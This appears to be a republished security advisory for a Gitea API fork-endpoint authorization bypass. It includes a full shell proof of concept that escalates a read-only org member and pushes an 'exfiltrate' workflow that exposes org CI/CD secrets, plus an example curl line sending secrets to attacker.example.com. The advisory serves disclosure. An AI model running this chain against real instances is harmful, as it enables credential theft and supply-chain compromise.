The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.
Start a Gitea instance with Actions enabled:
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
gitea:
image: gitea/gitea:1.23
container_name: gitea-poc
ports:
- "3000:3000"
volumes:
- gitea-data:/data
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__server__ROOT_URL=http://localhost:3000/
- GITEA__security__INSTALL_LOCK=true
- GITEA__actions__ENABLED=true
volumes:
gitea-data:
EOF
docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
--admin --username admin --password 'Admin1234!' \
--email [email protected] --must-change-password=false
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
-u "admin:Admin1234!" -H "Content-Type: application/json" \
-d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attacker123!","email":"[email protected]","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
-H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
-H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"AKIAIOSFODNN7EXAMPLE"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
-e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
-e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
-e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
-v /var/run/docker.sock:/var/run/docker.sock \
gitea/act_runner:latest
# Wait for runner registration
sleep 15
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
-u "attacker:Attacker123!" -H "Content-Type: application/json" \
-d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
-X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
"http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
-H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403
# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"organization":"target-org","name":"evil-fork"}')
echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
# Fork created: target-org/evil-fork
# Permissions: admin=True, push=True
The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Leak org secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
run: |
echo "=== SECRET EXFILTRATION ==="
echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
echo "=== END EXFILTRATION ==="
WFEOF
)
curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"
Expected output in the workflow logs:
=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===
All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).
A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.
The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.
Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.
This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.
CanCreateOrgRepo check):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144CanCreateOrgRepo check):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189owner_id):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248Repo.OwnerID):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167| Software | From | Fixed in |
|---|---|---|
code.gitea.io/gitea
|
- | 1.26.0 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.